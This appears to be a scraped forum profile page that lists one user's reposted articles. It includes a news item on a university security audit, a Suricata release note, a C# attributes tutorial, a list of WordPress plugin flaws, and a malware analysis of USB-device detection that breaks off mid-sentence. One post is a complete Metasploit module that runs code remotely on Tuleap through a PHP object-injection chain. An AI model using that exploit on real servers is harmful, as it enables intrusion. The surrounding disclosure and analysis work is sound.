-
Posts
3453 -
Joined
-
Last visited
-
Days Won
22
Everything posted by Aerosol
-
It's been almost a year since a huge data breach exposed the Social Security numbers of students, staff and faculty, both present and former at the University of Maryland College Park (UMCP), but a state audit has revealed that flaws in the university's network security, many identified by an audit five years ago, still exist. In a letter accompanying the audit report of the university's Division of Information Technology, Thomas J. Barnickel III, an auditor in Maryland's Office of Legislative Audits, said the school's main campus in College Park, Md., had not used firewalls to secure all “network segments from the Internet and untrusted portions of its internal network.” And in some instances where firewalls were used they “allowed insecure and unnecessary connections to critical data center to critical data center computer resources,” Barnickel wrote. The intrusion system, too, hadn't been configured to monitor traffic from all untrusted stories. Like many organizations, UMCP hadn't kept current on updates to its anti-malware software. The audit found the IT department, which had an approximately $50 million budget and a force of 419 fulltime and contract employees in fiscal 2014, “didn't ensure anti-malware software was installed, up-to-date, and operating properly” on the computers it operates. While the state was conducting its audit, UMCP experienced a massive breach to its identity card database. The audit report noted that the attack compromised “multiple computer resources hosted or maintained” by the IT department, and took “advantage of certain security weaknesses” such as publicly accessible website and server, the system that hosted IT department employee credentials, critical application source code associated with the ID card database as well as the database's userid and password. UMCP's Cybersecurity Task Force had made 18 recommendations for the university in June, two months after a second breach, among them, minimizing the number of systems that contain confidential information, isolating that information, conducting period penetration testing and creating an IT security advisory committee. While the audit report noted that UMCP and the task force had apparently taken appropriate steps to assess and mitigate risks associated with confidential data retention and transmission “due to the focus of the Task Force being primarily the security over confidential data, those actions may not fully address” the audit report's findings. Source
-
Suricata is a network intrusion detection and prevention engine developed by the Open Information Security Foundation and its supporting vendors. The engine is multi-threaded and has native IPv6 support. It's capable of loading existing Snort rules and signatures and supports the Barnyard and Barnyard2 tools. The Suricata Engine is an Open Source Next Generation Intrusion Detection and Prevention Engine. This engine is not intended to just replace or emulate the existing tools in the industry, but will bring new ideas and technologies to the field. OISF is part of and funded by the Department of Homeland Security's Directorate for Science and Technology HOST program (Homeland Open Security Technology), by the the Navy's Space and Naval Warfare Systems Command (SPAWAR), as well as through the very generous support of the members of the OISF Consortium. More information about the Consortium is available, as well as a list of our current Consortium Members. The Suricata Engine and the HTP Library are available to use under the GPLv2. The HTP Library is an HTTP normalizer and parser written by Ivan Ristic of Mod Security fame for the OISF. This integrates and provides very advanced processing of HTTP streams for Suricata. The HTP library is required by the engine, but may also be used independently in a range of applications and tools. Changes: Various bug fixes and some stream improvements. Download
-
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Tuleap PHP Unserialize Code Execution', 'Description' => %q{ This module exploits a PHP object injection vulnerability in Tuelap <= 7.6-4 which could be abused to allow authenticated users to execute arbitrary code with the permissions of the web server. The dangerous unserialize() call exists in the 'src/www/project/register.php' file. The exploit abuses the destructor method from the Jabbex class in order to reach a call_user_func_array() call in the Jabbex class and call the fetchPostActions() method from the Transition_PostAction_FieldFactory class to execute PHP code through an eval() call. In order to work, the target must have the 'sys_create_project_in_one_step' option disabled. }, 'License' => MSF_LICENSE, 'Author' => 'EgiX', 'References' => [ ['CVE', '2014-8791'], ['OSVDB', '115128'], ['URL', 'http://karmainsecurity.com/KIS-2014-13'], ['URL', 'https://tuleap.net/plugins/tracker/?aid=7601'] ], 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['Generic (PHP Payload)', {}]], 'DisclosureDate' => 'Nov 27 2014', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, "The base path to the web application", "/"]), OptString.new('USERNAME', [true, "The username to authenticate with" ]), OptString.new('PASSWORD', [true, "The password to authenticate with" ]), OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", true]), Opt::RPORT(443) ], self.class) end def check flag = rand_text_alpha(rand(10)+20) res = exec_php("print #{flag};") if res and res.body and res.body.to_s =~ /#{flag}/ return Exploit::CheckCode::Vulnerable end Exploit::CheckCode::Safe end def do_login() print_status("#{peer} - Logging in...") username = datastore['USERNAME'] password = datastore['PASSWORD'] res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'account/login.php'), 'vars_post' => {'form_loginname' => username, 'form_pw' => password} }) unless res && res.code == 302 fail_with(Failure::NoAccess, "#{peer} - Login failed with #{username}:#{password}") end print_status("#{peer} - Login successful with #{username}:#{password}") res.get_cookies end def exec_php(php_code) session_cookies = do_login() chain = 'O:6:"Jabbex":2:{S:15:"\00Jabbex\00handler";O:12:"EventHandler":1:{S:27:"\00EventHandler\00authenticated";b:1;}' chain << 'S:11:"\00Jabbex\00jab";O:6:"Jabber":3:{S:8:"_use_log";i:1;S:11:"_connection";O:5:"Chart":0:{}S:15:"_event_handlers";' chain << 'a:1:{S:9:"debug_log";a:2:{i:0;O:34:"Transition_PostAction_FieldFactory":1:{S:23:"\00*\00post_actions_classes";' chain << 'a:1:{i:0;S:52:"1;eval(base64_decode($_SERVER[HTTP_PAYLOAD]));die;//";}}i:1;S:16:"fetchPostActions";}}}}' send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'project/register.php'), 'cookie' => session_cookies, 'vars_post' => {'data' => chain}, 'headers' => {'payload' => Rex::Text.encode_base64(php_code)} }, 3) end def exploit print_status("#{peer} - Exploiting the PHP object injection...") exec_php(payload.encoded) end end Source
-
WordPress Our Team Showcase 1.2 CSRF / XSS WordPress IP Ban 1.2.3 CSRF / XSS WordPress WP-ViperGB 1.3.10 CSRF / XSS WordPress Simple Visitor Stat Cross Site Scripting WordPress Simple Sticky Footer 1.3.2 CSRF / XSS WordPress Sliding Recent Posts 1.0 CSRF / XSS WordPress WP Symposium 14.11 Shell Upload WordPress Facebook Like Box 2.8.2 CSRF / XSS WordPress Lightbox Photo Gallery 1.0 CSRF / XSS WordPress WP-FB-AutoConnect 4.0.5 CSRF / XSS WordPress Sliding Social Icons 1.61 CSRF / XSS WordPress Timed Popup 1.3 CSRF / XSS WordPress WP Construction Mode 1.91 XSS
-
Introduction The dissertation investigates attributes. You’ll see how you can define attributes on various items within your program. We shall also discuss the most innovative features the .NET framework has to offer: custom attributes, a mechanism that allows you to associate custom metadata with program elements. This metadata is created at compile time and implanted in an assembly. You can then scrutinize the metadata at runtime using reflection. We also come to understanding the use of reflection in custom attributes. Attributes As illustrated in earlier articles, the .NET compiler generated metadata descriptions for all defined and reference types. However, the developer can integrate additional metadata into an assembly using attributes. So attributes are like adjectives, which are used for metadata annotation similar to COM IDL that can be applied to a given type, assembly, modules, methods etc, The .NET framework stipulates two types of attributes implementations Predefined Attributes and Custom Attributes. Attributes are types derived from the System.Attribute class. This is an abstract class defining the required services of any attribute. Here is the syntax of an attribute as following; [type: attributeName(parameter1, parameter2,………n)] The attribute name is the class name of the attribute. Attributes can have zero or more parameters. The following code sample shows an attributes implementation in which we are declaring a method as deprecated using the obsolete attribute: using System; namespace attributes { class Program { static void Main(string[] args) { Console.WriteLine("Attributes sample"); TestMethod(); Console.ReadKey(); } [Obsolete("Deprecated Method",false)] public static void TestMethod() { Console.WriteLine("Hello world"); } } } The following figure shows the MSIL code of the TestMethod method as displayed in ILDASM. Notice the custom directive that defines the Obsolete attribute. Role of Attributes Attributes might be useful for documentation purpose. They fulfill many roles, including describing serialization, indicating conditional compilation, specifying import linkage, and setting class blueprint. Attributes allows information to be defined and applied to almost any metadata table entry. This extensible metadata information can be queried at run time dynamically alter the way code executes. The C# compiler itself has been programmed to discover the presence of numerous attributes during the compilation process. For example, if the csc.exe compiler discovers an item being annotated with the [obsolete] attribute, it will display a compiler warning in the IDE error list. Predefined Attributes The predefined attributes have been defined by Microsoft as a part of .NET FCL, and many of them receive special support from the C# compiler. This implies that, for those particular attributes, the compiler could customize the compilation process in a specific way. The System.Attribute base class library provides a number of attributes in various namespaces. The following table gives a snapshot of some predefined attributes. Attributes Description [serialization] By marking this attributes, a class is able to persist its current state into stream. [NonSerialization] It specifies that a given class or file should not persist during the serialization process. [Obsolete] It is used to mark a member or type as deprecated. If they are attempted to be used somewhere else, the compiler issues a warning message. [DllImport] This allows .NET code to make a call to an unmanaged C or C++ library. [WebMethod] This is used to build XML web services and the marked method is being invoked by HTTP request. [CLSCompliant] Enforce the annotated items to conform to the semantics of CLS. To illustrate the predefined attributes in action, let’s create a console-based application to apply the implementation of them [serialization] and [NonSerialization] Here, assume that you have built a test class that can persist in a binary format using the [serialization] attribute. [Serializable] public class test { public test() { } string name; string country; [NonSerialized] int salary; } Once the class has been compiled, you can view the extra metadata by using the ildasm.exe utility. You can notice the red triangle where these attributes are recorded using the serializable token and the salary field is tokenized using a nonserilaized attribute as follows: [WebMethod] The following example depicts the implementation of XML web services. Here, the UtilityWebService class is annotated with [WebService] attributes. This class defines two methods that are marked with [WebMethod] attributes. [WebService(Namespace = "http://tempuri.org/")] [WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)] // To allow this Web Service to be called from script, using ASP.NET AJAX, uncomment the following line. // [System.Web.Script.Services.ScriptService] public class UtilityWebService : System.Web.Services.WebService { public UtilityWebService () { //Uncomment the following line if using designed components //InitializeComponent(); } [WebMethod] public string HelloWorld() { return "Hello World"; } [WebMethod] public int addition(int a,int { return a+b; } } [DLLImport] The following code plays around the unmanaged assembly user32.dll to utilize its existing method using the [DLLImport] attributes: using System; using System.Runtime.InteropServices; namespace attributes { public class test { [DllImport("user32.dll", EntryPoint = "MessageBox")] public static extern int ShowMessageBox(int hWnd,string text, string caption,uint type); } class Program { static void Main(string[] args) { string caption = "Hello World"; string text = "Sample Article on DLLImport Attribute"; test.ShowMessageBox(0, text, caption, 0); Console.ReadKey(); } } } Note: a member can be assigned more than one attribute and can be applied multiple times itself. Once this code is compiled successfully, it produces the following output: [CLSCompliant] If you annotate this attribute at assembly or module level and you try to place the following non-CLR-compliant code, the compiler issues a warning message. Custom Attributes We can create custom attributes for private usage or to be published in a library for others. The following steps form the definitive procedure for creating custom attributes: The custom attribute class should be derived from System.Attribute The Attribute name should accomplish with the Attribute suffix. Set the probable targets with the AttributeUsage attribute. Implement the class constructor and write-accessible properties. The first step in building a custom attribute is to create a new class FunWith with an Attribute suffix that deriving from the System.Attribute class. Then define the class constructor and write accessible property as Company subsequently. [AttributeUsage(AttributeTargets.Class)] public class FunwithAttribute : Attribute { public FunwithAttribute(string s) { this.Company = s; } public string Company { get; set; } } Now, it is time to apply custom attribute class on another class. So we are creating another class test that has the FunWith attribute annotation, in which we are passing the company name information. [Funwith("HCL Technology")] public class test { public test(string name, string country) { this.EmpName = name; this.Country = country; } public string FullDetails() { string str = EmpName + "-" + Country; return str; } private string EmpName; private string Country; } class Program { static void Main(string[] args) { test obj = new test("Ajay","India"); Console.WriteLine("Result:{0}",obj.FullDetails()); Console.ReadKey(); } } After compiling this program, it yields the following output: Output: Result: Ajay – India Well, as you can see, the custom attribute does not have any impact on the final output. But we can see the annotation happen by attributes at the metadata level by using ildasm.exe as follows: Custom defined attributes are sometimes valuable simply as information. However, the real power lies in associating with an attribute. You can read custom attributes with reflection using Attribute.GetCustomAttribute and Type. The following code illustrates accessing the custom attribute values at runtime using reflection. Here, we are storing the custom attributes members in an array of object type, then looping through it to get the property value: static void Main(string[] args) { MemberInfo info = typeof(test); object[] attrib = info.GetCustomAttributes(typeof(FunwithAttribute), false); foreach (Object attribute in attrib) { FunwithAttribute a = (FunwithAttribute)attribute; Console.WriteLine("Company: {0}", a.Company); } } For more understanding, the following code illustrate the actual utilization of custom attributes values. Here, we are displaying some string value based on the custom attribute Boolean value. The output varies on status True or False values. using System; using System.Reflection; public class CheckStatus : Attribute { private bool Val = false; public bool status { get { return Val; } } public CheckStatus(bool val) { Val = val; } } Now we are annotating the custom attribute in the Test class. Here, we have to configure the CheckStatus value to true or false manually. In the FullDetails() method, we are accessing the custom attributes members by a foreach loop construct and later we check whether the status value is true or false. [CheckStatus(false)] public class test { private string EmpName; private string Country; public test(string name, string country) { this.EmpName = name; this.Country = country; } public string FullDetails() { string str = null; Type type = this.GetType(); CheckStatus[] attrib = (CheckStatus[])type.GetCustomAttributes(typeof(CheckStatus), false); if (attrib[0].status == true) { str = EmpName + "-" + Country; } else { str = "Hi " + EmpName; } return str; } } class Program { static void Main(string[] args) { test obj = new test("Ajay","India"); Console.WriteLine("Result:{0}",obj.FullDetails()); Console.ReadKey(); } } After successfully compiling this code, the following figure depicting the output in both cases: It is also possible to apply attributes on all types within a given module or assembly. To do so, simply add the attributes at assembly level in the AssemblyInfo.cs file. This file is a handy place to put attributes that are to be applied at the assembly level. using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; [assembly: AssemblyTitle("CustomAttribute")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("CustomAttribute")] [assembly: AssemblyCopyright("Copyright © 2013")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] [assembly: ComVisible(false)] [assembly: Guid("ce5fc30b-e670-4115-aa64-4be10e7b6ea9")] [assembly: AssemblyVersion("1.0.0.0")] [assembly: AssemblyFileVersion("1.0.0.0")] Summary This article examines the role and importance of attributes, which is an identical aspect of dynamic programming. When you adorn your types with attributes, the result is the expansion of the underlying assembly metadata. You’ve explored the different types of attributes and have gained an understanding of how to programmatically implement predefined attributes such as [WebMethod], [serialization] etc. The prime objective of this article is to teach you how to create your own custom attributes as per the programming needs. After going through this article, we have a full understanding of how to apply both predefined and custom attributes over types. Source
-
Introduction In this article we will look at malware that propagate to other machines using USB removable devices. Unlike most malware which make use of vulnerable Network Services to spread to other machines in the network, these malware are specifically designed to infect USB removable devices. We will discuss in depth the methods used by a malware to automatically detect any USB removable device connected to the machine and then infect it. The infection routine is a topic for another article; here, we will just analyze the techniques used for detection of removable USB devices. Such techniques have been used in malware like Stuxnet and Conficker. These malware make extensive use of Windows Messages and the Win32 APIs related to them. A good understanding of these APIs would be helpful while reading this article. Threads Creation Malware creates 3 threads as shown below: Thread #1: This is used to create the Registry Keys used by the malware to make it persistent even after the OS is rebooted. Thread #2: This thread has two main subroutines as shown below. Monitor Windows Messages First, let us check the second Thread: CMP BYTE PTR DS:[C20941],0 JNZ SHORT 00C18CDA CMP BYTE PTR DS:[C20942],0 JNZ SHORT 00C18CDA CALL 00C18CE5 ; To find if any removable device is already connected to the machine and then infect it CALL 00C18DBB ; To set up a handler that will detect if any removable device is connected to the machine We will analyze the subroutine at 00C18DBB which is used to create a Window for monitoring the WM_DEVICECHANGE message. Here is the subroutine at 00C18DBB: The lines of code below are used to initialize the Local Variables with the GUID (Globally Unique Identifier) of a removable USB device: {53f5630d-b6bf-11d0-94f2-00a0c91efb8b} MOV DWORD PTR SS:[EBP-10],53F56307 MOV WORD PTR SS:[EBP-C],0B6BF MOV WORD PTR SS:[EBP-A],11D0 MOV BYTE PTR SS:[EBP-8],94 MOV BYTE PTR SS:[EBP-7],0F2 MOV BYTE PTR SS:[EBP-6],BL MOV BYTE PTR SS:[EBP-5],0A0 MOV BYTE PTR SS:[EBP-4],0C9 MOV BYTE PTR SS:[EBP-3],1E MOV BYTE PTR SS:[EBP-2],0FB MOV BYTE PTR SS:[EBP-1],8B In the memory dump, it will look like as shown below: 0148FFA0 07 63 F5 53 BF B6 D0 11 94 F2 00 A0 C9 1E FB 8B cõS¿¶Ð”ò. Éû‹ The next 2 lines of code are used to initialize the values that correspond to the NotificationFilter’s DEV_BROADCAST_HDR structure. We will look into this in more depth when we analyze the call to RegisterDeviceNotificationA API. MOV DWORD PTR SS:[EBP-3C],20 MOV DWORD PTR SS:[EBP-38],5 After this we have: The lines of code below are used to register a new Class with the name, gdkWindowTopClass and the WindowProc routine at address, 0C18EC7. MOV DWORD PTR SS:[EBP-6C],30 MOV DWORD PTR SS:[EBP-68],EBX MOV DWORD PTR SS:[EBP-64],0C18EC7 ; Pointer to WindowProc routine MOV DWORD PTR SS:[EBP-60],EBX MOV DWORD PTR SS:[EBP-5C],EBX MOV DWORD PTR SS:[EBP-58],EBX MOV DWORD PTR SS:[EBP-54],EBX MOV DWORD PTR SS:[EBP-50],EBX MOV DWORD PTR SS:[EBP-4C],EBX MOV DWORD PTR SS:[EBP-48],EBX MOV DWORD PTR SS:[EBP-44],0C1F8D4 ; ASCII "gdkWindowTopClass" MOV DWORD PTR SS:[EBP-40],EBX MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] CALL DWORD PTR DS:[C1C2B0] ; USER32.RegisterClassExA Once the class is registered, it will create a Window with that class name: PUSH EBX PUSH EBX PUSH EBX PUSH EBX PUSH EBX PUSH EBX PUSH EBX PUSH EBX PUSH EBX PUSH EBX PUSH 0C1F8D4 ; ASCII "gdkWindowTopClass" PUSH EBX CALL DWORD PTR DS:[C1C2B4] ; USER32.CreateWindowExA CreateWindowExA will create a window with the class name gdkWindowTopClass and return a handle to the newly created window. However, before returning, CreateWindow will send WM_CREATE, WM_GETMINMAXINFO, WM_NCCREATE and some more messages to the Window Procedure corresponding to the Class Name. Here is a list of window messages which will help us in analyzing the Window Procedure: List Of Windows Messages - The Official Wine Wiki Window Procedure We need to set a breakpoint at the WindowProc address (in this case, 0C18EC7) and we break at this subroutine once we execute the call to CreateWindowExA as shown below: Once we break at this Window Procedure, the stack looks like as shown below: Here the value 0×24 corresponds to the Window Message, WM_GETMINMAXINFO. As mentioned above, CreateWindowExA will pass a few Window Messages which need to be processed by the Window Procedure before the Window is created. Here is a description of the Window Procedure code: PUSH EBP MOV EBP,ESP SUB ESP,13C AND DWORD PTR SS:[EBP-38],0 PUSH ESI PUSH EDI PUSH 0A MOV ESI,DWORD PTR SS:[EBP+8] POP ECX XOR EAX,EAX LEA EDI,DWORD PTR SS:[EBP-34] REP STOS DWORD PTR ES:[EDI] MOV EDI,DWORD PTR SS:[EBP+C] ; EDI will hold the code of the Window Message CMP EDI,1 ; Check if it is a WM_CREATE message JNZ SHORT 00C18F02 PUSH EAX MOV DWORD PTR SS:[EBP-C],0C ; Size of the Structure passed to RegisterDeviceNotificationA MOV DWORD PTR SS:[EBP-8],5 ; Corresponds to the device type (in this case, DBT_DEVTYP_DEVICEINTERFACE) LEA EAX,DWORD PTR SS:[EBP-C] JMP 00C18FA9 CMP EDI,219 ; Check if it is a WM_DEVICECHANGE message JNZ 00C18FD0 CMP DWORD PTR SS:[EBP+10],8000 ; Check if the Device Event is DBT_DEVICEARRIVAL JNZ 00C18FB3 MOV EAX,DWORD PTR SS:[EBP+14] CMP DWORD PTR DS:[EAX+4],2 ; Check if the device type is a Logical Volume DBT_DEVTYP_VOLUME JNZ 00C18FEB PUSH DWORD PTR DS:[EAX+C] ; dbcv_unitmask corresponding to the Drive Letter of the Logical Volume CALL 00C18FFF MOVSX EAX,AL ; AL will hold the ASCII value of the Drive Letter assigned to the removable device PUSH EAX LEA EAX,DWORD PTR SS:[EBP-13C] PUSH 0C1F8E8 ; ASCII "%c:" PUSH EAX CALL 00C1B89C ; JMP to msvcrt.sprintf If the Window Message is not equal to either of the values defined above then it will call the default Window Proc, DefWindowProc, with the same parameters that were passed to the WindowProc routine. As can be seen from the code above, the Window Procedure can handle the WM_CREATE and WM_DEVICECHANGE messages. If there is any other Window Message then it will be passed to the default window procedure, DefWindowProc. The return value of DefWindowProc will depend on the message that was processed by the DefWindowProc routine. Stack arguments for the call to DefWindowProcA: For example, the stack arguments when we return from DefWindowProc after processing the message WM_GETMINMAXINFO are: Here, 0×81 corresponds to the WM_NCCALCSIZE message. This message is again processed by DefWindowProc since the Window Procedure does not handle this Window Message. Stack arguments after the WM_NCCALCSIZE message is processed: 0148F7DC 7E418734 RETURN to USER32.7E418734 0148F7E0 00530280 0148F7E4 00000001 // WM_CREATE 0148F7E8 00000000 0148F7EC 0148F928 WM_CREATE is the last Window Message processed by WindowProc before creating the Window and returning. The section of code below will be executed when the window message is WM_CREATE: CMP EDI,1 JNZ SHORT 00C18F02 PUSH EAX MOV DWORD PTR SS:[EBP-C],0C ; size of the structure MOV DWORD PTR SS:[EBP-8],5 ; device type LEA EAX,DWORD PTR SS:[EBP-C] JMP 00C18FA9 This will set the values for the standard header used in a device event. PUSH EAX PUSH ESI CALL DWORD PTR DS:[C1C2B8] ; USER32.RegisterDeviceNotificationA RegisterDeviceNotificationA will return the Device Notification Handle if the call succeeds, or else it returns a NULL value. The stack arguments: The second argument on the stack above is a pointer to a data structure that specifies the type of Device for which notifications will be sent to the Window Procedure. This data structure in our case looks like: If we compare this with the DEV_BROADCAST_HDR structure: typedef struct _DEV_BROADCAST_HDR { DWORD dbch_size; DWORD dbch_devicetype; DWORD dbch_reserved; } DEV_BROADCAST_HDR, *PDEV_BROADCAST_HDR; We see that in our case, the size of the structure is 0xC bytes and the type of the device is DBT_DEVTYP_DEVICEINTERFACE (corresponding to the value 0×5). Once we return from the RegisterDeviceNotificationA routine, we see that the value of the EAX register is 0 (the return value) which means that no Device Notification handle was returned. After this, the Window Procedure processes the WM_CREATE message as shown below: And returns the handle of the newly created Window: The handle to the Window in our case is: 0x002D032C. Device Notification Handler Now, we have another call to the RegisterDeviceNotificationA API as shown below: The stack arguments are: The second argument on the stack points to the following data structure: If we again compare the above data structure with _DEV_BROADCAST_HDR,we can see that the size of the structure is 0×20 bytes and the device type for which notifications will be sent is: DBT_DEVTYP_DEVICEINTERFACE. Also, we can see the device GUID present in this structure: 53f5630d-b6bf-11d0-94f2-00a0c91efb8b. Once we return from the call to RegisterDeviceNotificationA API, the Device Notification Handle is stored in the EAX register as shown below: In our case, the handle is 0x000E3738. This confirms that the call to RegisterDeviceNotificationA was successful. WM_DEVICECHANGE Handler After this, the code will use GetMessage API to pop one message at a time from the Thread’s message queue. The stack arguments are: GetMessage takes only one argument which is a pointer to the MSG Structure that will be populated with the information about the Window Message retrieved from the Thread’s message queue. If there are no messages in the Message Queue of the current Thread, then the execution will be passed to the other Thread. For instance, at present I did not connect any USB removable device to the machine in between the execution of the Thread, and there are no messages in the Thread’s queue. As a result of this, after we execute the call to GetMessageA, we break at the new Thread (in our case, Thread #3) as shown below: In order to analyze further, I connected a USB removable storage device to the machine while the second Thread was active. Now, when the call to GetMessage is executed it will populate the MSG structure at, 0148FF94 with the WM_DEVICECHANGE message information (since I connected a USB removable device): This is how the MSG structure looks like: typedef struct tagMSG { HWND hwnd; UINT message; WPARAM wParam; LPARAM lParam; DWORD time; POINT pt; } MSG, *PMSG, *LPMSG; In our case, 0x0036027C is the handle to the Window created before (this handle is different from the one mentioned previously because I started another debug session). 0×0219 is the code corresponding to the Window Message retrieved by GetMessage from the Thread’s queue. The next parameters depend on the type of Message retrieved from the Queue. In our case, the message is WM_DEVICECHANGE which has the following structure: LRESULT CALLBACK WindowProc(HWND hwnd, // handle to window UINT uMsg, // WM_DEVICECHANGE WPARAM wParam, // device-change event LPARAM lParam ); // event-specific data In our case the device change event is 0×7, which corresponds to DBT_DEVNODES_CHANGED meaning a device has been added or removed from the system. It is important to note that the GUID of the USB removable device I have connected to the machine is not the same as the GUID registered by RegisterDeviceNotificationA (that is, {53f5630d-b6bf-11d0-94f2-00a0c91efb8b}). You can check the Device GUID for the removable device connected to the machine by looking up the registry key: HKEY_LOCAL_MACHINESYSTEMCurrentControlSetEnumUSBSTOR As a result of this, WM_DEVICECHANGE structure is not the same as what the code expects it to be (we will look into this further). After this, TranslateMessage and DispatchMessage are called which will dispatch this message to the Window Procedure corresponding to the Window as shown below: The arguments on the stack: It passes a pointer to the WM_DEVICECHANGE structure to the Window Procedure. Once the call to DispatchMessage is executed, we break at the WindowProc routine again: Stack arguments are as shown below: We will perform static code analysis of the section of code that is executed when the type of message is WM_DEVICECHANGE: Let us understand these in depth: CMP EDI, 219 EDI points to the value at EBP+C which is the message code. In our case, it is WM_DEVICECHANGE (0×219). CMP DWORD PTR SS:[EBP+10],8000 This is the next value on the stack. If we compare this with the WM_DEVICECHANGE structure, we see that it corresponds to the device event. 0×8000 is the device event for: DBT_DEVICEARRIVAL (a device or piece of media has been inserted and is now available). MOV EAX, DWORD PTR SS:[EBP+14] It is moving the pointer to event specific data in EAX (referred to as lparam in the WM_DEVICECHANGE structure above). This is the DEV_BROADCAST_HDR structure: typedef struct _DEV_BROADCAST_HDR { DWORD dbch_size; DWORD dbch_devicetype; DWORD dbch_reserved; } DEV_BROADCAST_HDR, *PDEV_BROADCAST_HDR; CMP DWORD PTR DS:[EAX+4], 2 The second DWORD in the structure above corresponds to dbch_devicetype. It is comparing this with 2 (DBT_DEVTYP_VOLUME). If the device type connected is a Logical Volume, then it parses the DEV_BROADCAST_VOLUME structure to find the unitmask corresponding to the Logical Volume drive letter. PUSH DWORD PTR DS:[EAX+C] typedef struct _DEV_BROADCAST_VOLUME { DWORD dbcv_size; DWORD dbcv_devicetype; DWORD dbcv_reserved; DWORD dbcv_unitmask; WORD dbcv_flags; } DEV_BROADCAST_VOLUME, *PDEV_BROADCAST_VOLUME; Unitmask is the bit sequence corresponding to the drive letter. Next, it calls the subroutine at 00C18FFF which is used to convert the unitmask to the corresponding Drive Letter's ASCII value. Once we have the Drive Letter of the USB removable device connected to the machine that triggered the WM_DEVICECHANGE message, we find the infection routine at 00C190D3. It is important to note that this infection routine is the same for both the cases, infecting an already connected removable device and a newly connected removable device. Below you can see the first few lines of code of the infection subroutine: Enumeration of Logical Drives Now, let us analyze the first subroutine of the second thread at address 0x00C18CE5. This subroutine will help us understand how the malware finds out if any removable device is already connected to the machine before it proceeds to infect it. The code first calls GetLogicalDriveStringsA to find out all the Logical Volumes already connected and accessible to the machine: Stack arguments are: Once the call to GetLogicalDriveStringsA has executed, all the Drive Letters will be populated in the buffer at address, 00148FEA4. It then checks each drive letter in the list above to find any USB removable device already connected to the machine: CALL DWORD PTR DS:[C1C0DC] ; kernel32.GetLogicalDriveStringsA TEST EAX,EAX JE SHORT 00C18DB7 PUSH EBX LEA EBX,DWORD PTR SS:[EBP-10C] ; pointer to output buffer of GetLogicalDriveStringsA MOV AL,BYTE PTR DS:[EBX] ; AL will hold the ASCII value of the drive letter MOV BYTE PTR SS:[EBP-8],AL LEA EAX,DWORD PTR SS:[EBP-8] PUSH EAX ; pointer to the Drive Letter CALL 00C19016 USB Device Detection Let us analyze the subroutine at 00C19016: It opens a handle to the device name corresponding to the Drive Letter. A device name must be in the format, \.Device Name, in order to open a handle to it using CreateFileA API. So, it allocates memory using calloc and then uses sprintf to prepare the device name as shown below (in this case, \.C:) Below is the call to CreateFileA which will open a handle to the device: Once this call is executed successfully, we have the handle to the device name: \.C:. Next, it calls DeviceIOControl to query the device handle retrieved above: Stack arguments are: Here, 0×164 is the handle corresponding to the device: \.C: Here is an explanation of the code: PUSH 0C ; size of the Input Buffer PUSH EAX PUSH 2D1400 ; IO Control Code corresponding to MASS_STORAGE PUSH ESI MOV DWORD PTR SS:[EBP+8],EBX MOV DWORD PTR SS:[EBP-10],EBX MOV DWORD PTR SS:[EBP-C],EBX CALL DWORD PTR DS:[C1C15C] ; kernel32.DeviceIoControl PUSH ESI MOV EDI,EAX CALL DWORD PTR DS:[C1C158] ; kernel32.CloseHandle The control code passed to the DeviceIOControl subroutine above is 0x2D1400. To understand the meaning of this control code, we can use the following site: Downloads:OSR Online IOCTL Decoder It allows you to enter any IOCTL value in hex format and then tells you the corresponding decoded value. In our case, 0x2D1400 corresponds to MASS_STORAGE or the mnemonic IOCTL_STORAGE_QUERY_PROPERTY. If we look up the above IOCTL code on MSDN here: IOCTL_STORAGE_QUERY_PROPERTY control code (Windows) We see that the value of Output Buffer depends on the Input Buffer. In our case, the Input Buffer is: And it has a size of 0xC bytes. The input buffer points to the STORAGE_QUERY_PROPERTY structure as shown below: typedef struct _STORAGE_PROPERTY_QUERY { STORAGE_PROPERTY_ID PropertyId; STORAGE_QUERY_TYPE QueryType; BYTE AdditionalParameters[1]; } STORAGE_PROPERTY_QUERY, *PSTORAGE_PROPERTY_QUERY; If we compare this structure with the Input Buffer above, then we can see that the value of the PropertyID is 0 which corresponds to StorageDeviceProperty. More details here: STORAGE_PROPERTY_QUERY structure (Windows) The output buffer corresponding to StorageDeviceProperty is STORAGE_DEVICE_DESCRIPTOR as documented here. Now, we have the format of the Output Buffer: typedef struct _STORAGE_DEVICE_DESCRIPTOR { DWORD Version; DWORD Size; BYTE DeviceType; BYTE DeviceTypeModifier; BOOLEAN RemovableMedia; BOOLEAN CommandQueueing; DWORD VendorIdOffset; DWORD ProductIdOffset; DWORD ProductRevisionOffset; DWORD SerialNumberOffset; STORAGE_BUS_TYPE BusType; DWORD RawPropertiesLength; BYTE RawDeviceProperties[1]; } STORAGE_DEVICE_DESCRIPTOR, *PSTORAGE_DEVICE_DESCRIPTOR; Once the call to DeviceIOControl has been executed, the output buffer at 0148FA7C looks like as shown below: Comparing the output buffer with the structure of STORAGE_DEVICE_DESCRIPTOR, we have: Version: 0×28 Size: 0x9C STORAGE_BUS_TYPE: 0×3 At offset, 0x1C in the Output Buffer, we have the STORAGE_BUS_TYPE. After returning from the call to DeviceIOControl we have the following section of code: PUSH ESI MOV EDI,EAX CALL DWORD PTR DS:[C1C158] ; kernel32.CloseHandle CMP EDI,EBX POP EDI JE SHORT 00C190C3 CMP DWORD PTR SS:[EBP-3F4],7 JNZ SHORT 00C190C3 MOV BL,1 PUSH DWORD PTR SS:[EBP-4] CALL 00C1B94C ; JMP to msvcrt.free POP ECX POP ESI MOVZX EAX,BL POP EBX LEAVE RETN It closes the Device Handle and then compares the STORAGE_BUS_TYPE with 0×7. The STORAGE_BUS_TYPE enum is defined here: STORAGE_BUS_TYPE enumeration (Windows) The value corresponding to 0×7 is BusTypeUSB. It means, that the code is checking whether the Drive 